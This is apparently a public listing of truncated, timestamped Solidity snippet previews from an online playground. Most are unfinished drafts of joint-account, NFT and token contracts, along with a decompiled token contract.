  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) pred;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.p
Nov 18, 2021 06:53:42 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) pred;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.p
Nov 18, 2021 06:45:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.ac
Nov 17, 2021 21:51:26 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.
Nov 17, 2021 21:24:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.
Nov 17, 2021 21:14:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = JointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.connected_peers.push(user_id2);
    user1
Nov 17, 2021 21:08:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[curr_account_number] = JointAccount({account_number: curr_account_number});
    accounts[curr_account_number].balances[user_id1] = 5;
    accounts[curr_account_number].balances[user_id2] = 5;

    user1.connected_peers.push(u
Nov 17, 2021 21:06:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{

  
Nov 17, 2021 21:01:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleChannel {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;
  mapping(uint => bool) private visited;
  mapping(uint => uint) public parent;


  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  function getPath(uint user_id) public view returns (uint[]){
    uint[] memory pth = new uint[](user_list.length);
    uint curr_id = user_id;
    uint i = 0;
    while(curr_id!=0){
      pth[i] = curr_id;
      curr_id = parent[curr_id];
      i += 1;
    }
    return pth;

  }
  function registerUser(uint user_id, string us
Nov 17, 2021 20:51:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;

  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  
  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_
Nov 16, 2021 10:07:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;

  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  
  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_
Nov 16, 2021 09:49:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;


  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_id1);
    user1.nbr_balances[user_id2] = balance1;
    user2.nbr_balances[user_id1] = balance2;
  }

  // function sendAmount(uint user_id1, uint user_id2, uint amt) public {
    
  // }
  function arrayPop(uint user_id1, uint user_id2) private {
      var user1 = user_map[user_id1];
      var us
Nov 16, 2021 09:38:52 UTC
enum ItemTypes { torso, head, legs, leftArm, rightArm, background, other }
mapping(uint => ItemTypes) public itemType
Nov 16, 2021 06:24:18 UTC
// Each uint is tokenID in Items contract
// This example is not optimized for memory, 
// possible select smaller uint data types (uint16, uint32) to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
 uint legs;
 uint torso;
 uint background;
}

mapping(uint => Robot[]) public equippedRobotParts; //parent id => Robot data structure for child items

// When swapping parts, check for item type match; something like this...
function swapParts(erc721TokenId, erc1155TokenID_OLD, erc1155TokenID_NEW) {
    require(Items.itemType(erc1155TokenID_OLD) == Items.itemType(erc1155TokenID_NEW), "part types don't match");
    uint itemType = Items.itemType(erc1155TokenID_OLD);
    
    // transfer tokens

    equippedRobotParts[erc721TokenId][itemType] = erc1155TokenID_NEW; // equip to data structure
Nov 16, 2021 06:22:18 UTC
enum ItemTypes { torso, head, legs, leftArm, rightArm, background }
mapping(uint => ItemTypes) public itemType
Nov 14, 2021 02:16:10 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "../contracts/SVG721.sol";


contract Pixels is ERC721, Ownable {
    using Strings for uint256;
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIdCounter;

    struct Composition {
        bytes pixels;
        bytes xOffsets;
        bytes yOffsets;
        uint colorPalette;
        uint colorSelectType;
        uint compositionType;
        uint algorithmType;
        uint backgroundColorIndex;
    }

    struct ColorPalette {
        bytes8 name;
        mapping(uint256 => bytes6) _colors;
    }


    mapping(uint256 => Composition) private compositions;
    mapping(uint256 => bytes8) private colorSelectNames;
    mapping(uint256 => bytes6) private compositionNames;
    mapping(uint256 => bytes10) priv
Nov 11, 2021 10:42:37 UTC
mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;

function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id) external view returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
  uint2
Nov 11, 2021 03:51:22 UTC
mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;
function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id) external view returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
  uint25
Nov 11, 2021 03:51:18 UTC
mapping(uint256 => uint256) characters;
mapping(uint256 => uint256) dnaRecords;function setCharacter(uint256 _id, address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna)
    external
{
    uint256 character = uint256(owner);
    character |= creationTime<<160;
    character |= strength<<208;
    character |= race<<224;
    character |= class<<240;
    characters[_id] = character;
    dnaRecords[_id] = dna;
}

function getCharacter(uint256 _id)
    external view
returns(address owner, uint256 creationTime, uint256 strength, uint256 race, uint256 class, uint256 dna) {
    uint256 character = characters[_id];
    dna = dnaRecords[_id];
    owner = address(character);
    creationTime = uint256(uint40(character>>160));
    strength = uint256(uint16(character>>208));
    race = uint256(uint16(character>>224));
    class = uint256(uint16(character>>240));
}

struct GameCharacter {
  address owner;
  uint256 creationTime;
  uint256 strength;
  uint256 race;
  uint256 class;
 
Nov 11, 2021 03:50:23 UTC
mapping(uint => string) public itemType
Nov 11, 2021 03:47:45 UTC
// Each uint is tokenID in Items contract
// This example is not optimized for memory, 
// possible select smaller uint data types (uint16, uint32) to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
 uint legs;
 uint torso;
 uint background;
}

mapping (uint => Robot[]) public parentToChild; //parent id => Robot data structure for child item
Nov 11, 2021 03:40:26 UTC
// Each uint is tokenID in Items contract
// This Psuedocode example not optimized for memory, but can select smaller uint data types to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
 uint legs;
 uint torso;
 uint background;
}

mapping (uint => Robot[]) public parentToChild; //parent id => Robot data structure for child item
Nov 11, 2021 03:38:03 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-10-22
*/

pragma solidity ^0.8.0;

// Part: ICitizen - Needed to interface with the final citizen contract

interface ICitizen {
	function getRewardRate(address _user) external view returns(uint256);

    function getRewardsRateForTokenId(uint256) external view returns(uint256);

    function getCurrentOrFinalTime() external view returns(uint256);

    function reduceRewards(uint256, address) external;

    function increaseRewards(uint256, address) external;

    function getEnd() external returns(uint256);
}

interface IIdentity {
    function ownerOf(uint256 tokenId) external view returns (address owner);
}

interface IVaultBox {
	function getCredits(uint256 tokenId) external view returns (string memory);
    function ownerOf(uint256 tokenId) external view returns (address owner);
}

// Part: OpenZeppelin/[email protected]/Address

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Ret
Nov 09, 2021 10:40:04 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Owner
 * @dev Set & change owner
 */
contract Owner {

    address private owner;
    
    // event for EVM logging
    event OwnerSet(address indexed oldOwner, address indexed newOwner);
    
    // modifier to check if caller is owner
    modifier isOwner() {
        // If the first argument of 'require' evaluates to 'false', execution terminates and all
        // changes to the state and to Ether balances are reverted.
        // This used to consume all gas in old EVM versions, but not anymore.
        // It is often a good idea to use 'require' to check if functions are called correctly.
        // As a second argument, you can also provide an explanation about what went wrong.
        require(msg.sender == owner, "Caller is not owner");
        _;
    }
    
    /**
     * @dev Change owner
     * @param newOwner address of new owner
     */
    function changeOwner(address newOwner) public isOwner {
        emit OwnerS
Nov 08, 2021 18:22:38 UTC
pragma solidity ^0.4.24;

contract ERC20 {
    string public constant name = "";
    string public constant symbol = "";
    uint8 public constant decimals = 0;

    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
Nov 08, 2021 07:28:58 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256  wtf = 29836915074519068104088936947794877181446157905180232883246809992121215122387;

  function retrieveLastWord(string memory firstLetterOfSeed10, string memory firstLetterOfSeed11) bytes32 {
        bytes32 theLastSeed = bytes32(uint256(keccak256(abi.encodePacked(firstLetterOfSeed10, firstLetterOfSeed11))) - wtf);
        return theLastSeed;
    }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Nov 07, 2021 20:37:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Nov 06, 2021 04:13:30 UTC
pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {


string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
  
Nov 04, 2021 16:55:03 UTC
pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {


string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
  
Nov 04, 2021 16:06:57 UTC
pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {

	 

string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
Nov 04, 2021 14:17:22 UTC
pragma solidity ^0.4.24;
// pragma experimental ABIEncoderV2;

contract A {

	 

string [] private colors = [
			"#C91619","#BE1C24","#D03718","#EB4B11","#D4501E",
            "#C54514","#E16503","#F98400","#F4A000","#F9AB00",
            "#A87C2A","#DC9A0F","#DCA215","#A49F4F","#51222F",
            "#E3C7AC","#E9E2C0","#F6C103","#E5BC00","#EBCC2A",
            "#33762F","#309153","#44C073","#35A066","#00BB70",
            "#49C293","#41B797","#0F7963","#589286","#02ACA5",
            "#008C36","#0085C6","#1E95BB","#7098B7","#3E84BB",
            "#3979AC","#87B3D7","#4385BF","#23507F","#416D9B",
            "#6D97CE","#7A95C8","#B2BEE5","#4E4973","#584098",
            "#9986A5","#D063A6","#CB7788","#E1B8B9","#C98D92",
            "#D98E8E","#C67E81","#C4999D"
        ];

function stringToUint(string _amount) internal constant returns (uint result) {
    bytes memory b = bytes(_amount);
    uint i;
    uint counterBeforeDot;
    uint counterAfterDot;
    result = 0;
    uint totNum = b.length;
    totNum--;
Nov 04, 2021 14:16:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Nov 02, 2021 10:03:29 UTC
pragma solidity ^0.5.0;
contract SolidityTest {
   constructor() public{
   }
   function getResult() public view returns(uint){
      uint a = 1;
      uint b = 2;
      uint result = a + b;
      return result;
   }
Nov 02, 2021 06:01:59 UTC
#
#  Panoramix v4 Oct 2019 
#  Decompiled source of bsc:0x09B7E289196cdac1AB978dC0e2069FE28eCda7f9
# 
#  Let's make the world open source 
# 

const decimals = 18

def storage:
  balanceOf is mapping of uint256 at storage 0
  allowance is mapping of uint256 at storage 1
  totalSupply is uint256 at storage 2
  stor3 is array of struct at storage 3
  stor4 is array of struct at storage 4

def totalSupply() payable: 
  return totalSupply

def balanceOf(address _owner) payable: 
  require calldata.size - 4 >=′ 32
  require _owner == _owner
  return balanceOf[addr(_owner)]

def allowance(address _owner, address _spender) payable: 
  require calldata.size - 4 >=′ 64
  require _owner == _owner
  require _spender == _spender
  return allowance[addr(_owner)][addr(_spender)]

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def approve(address _spender, uint256 _value) payable: 
  require calldata.size - 4 >=′ 64
  require _spender == _spender
  require _value == _value
  if not cal
Nov 01, 2021 19:40:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 31, 2021 16:46:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  //endjednejdededededejdedj
  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 30, 2021 19:44:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;sdfsdfsd
Oct 30, 2021 19:42:32 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 30, 2021 19:42:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract DAPP {
  uint curr_account_number = 0;
  uint num_users = 0;
  uint txn_amount = 1;

  struct User {
    uint id;
    string name;
    address addr;
    uint[] connected_peers;
    uint[] account_numbers;
  }

  struct JointAccount {
    uint account_number;
    mapping(uint => uint) mem2bal;
  }

  mapping(uint => User) users;
  mapping(uint => JointAccount) accounts;
  mapping(uint => uint) parent;

  function get_num_users() public view returns (uint) {
    return num_users;
  }

  function registerUser(uint user_id, string user_name) public {
    User storage s = users[user_id]; 
    s.id = user_id;
    s.name = user_name;
    s.addr = msg.sender;
    num_users += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage s1 = users[user_id1];
    User storage s2 = users[user_id2];
    s1.connected_peers.push(user_id2);
    s2.connected_peers.push(user_id
Oct 30, 2021 11:01:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract DAPP {
  uint curr_account_number = 0;
  uint num_users = 0;
  uint txn_amount = 1;

  struct User {
    uint id;
    string name;
    address addr;
    uint[] connected_peers;
    uint[] account_numbers;
  }

  struct JointAccount {
    uint account_number;
    mapping(uint => uint) mem2bal;
  }

  mapping(uint => User) users;
  mapping(uint => JointAccount) accounts;
  mapping(uint => uint) parent;

  function registerUser(uint user_id, string user_name) public {
    User storage s = users[user_id]; 
    s.id = user_id;
    s.name = user_name;
    s.addr = msg.sender;
    num_users += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage s1 = users[user_id1];
    User storage s2 = users[user_id2];
    s1.connected_peers.push(user_id2);
    s2.connected_peers.push(user_id1);
    mapping(uint => uint) temp ;
    temp[user_id1] = 5;
    temp[user_id2] = 5
Oct 30, 2021 10:46:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  uint[] user_nodes;
  uint[] user_nodes_next;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_
Oct 29, 2021 10:21:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  uint[] user_nodes;
  uint[] user_nodes_next;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_
Oct 29, 2021 09:54:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
    string user_name;
    uint[] connected_users;
    mapping(uint => uint) edge_balances;
    // uint[] balances;
  }

  // User[] users;
  uint[] users;
  mapping(uint => User) registered_users;
  mapping(uint=>bool) visited;
  mapping(uint=>uint) pred;
  function registerUser(uint user_id, string user_name) public {
    User memory u = User(user_id,user_name,new uint[](0));
    registered_users[user_id]= u;
    users.push(user_id);
    // users.push(User(user_id,user_name, new uint[](0),new uint[](0)));
  }
  function createAcc(uint user_id_1,uint user_id_2, uint balance) public{
    registered_users[user_id_1].connected_users.push(user_id_2);
    registered_users[user_id_1].edge_balances[user_id_2]=balance;
    registered_users[user_id_2].connected_users.push(user_id_1);
    registered_users[user_id_2].edge_balances[user_id_1]=balance;
  }
  func
Oct 29, 2021 08:22:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract p2p {
  struct User {
    uint user_id;
